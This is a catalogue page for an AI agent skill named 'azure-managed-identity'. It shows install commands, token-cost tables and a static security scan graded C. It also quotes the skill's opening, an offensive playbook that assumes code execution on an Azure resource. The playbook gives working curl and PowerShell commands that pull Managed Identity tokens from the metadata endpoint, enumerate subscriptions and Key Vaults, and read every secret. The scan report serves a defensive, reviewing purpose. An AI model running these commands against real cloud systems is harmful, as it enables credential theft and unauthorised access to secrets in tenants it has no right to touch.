Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill azure-managed-identitygit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/azure-managed-identity)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/azure-managed-identity"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/azure-managed-identity/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/azure-managed-identity"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/azure-managed-identity.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01271 |
| Opus 5 | $0.00028 | $0.00635 |
| Sonnet 5 | $0.00011 | $0.00254 |
| Haiku 4.5 | $0.00006 | $0.00127 |
Grade C, and why
azure-managed-identity scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
description: "Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credent Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
TOKEN=$(curl -s -H Metadata:true \ This is a copy
100% identical to azure-managed-identity — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 111 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM — list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph — read directory, mail, groups |
https://vault.azure.net |
Key Vault — secrets, keys, certificates |
https://storage.azure.com/ |
Storage account — blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience — the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 111 lines · 55 tokens per session scan C 27f9d5c32037
azure-managed-identity is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,271 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to azure-managed-identity, differing in 0 lines, and is treated as a copy.
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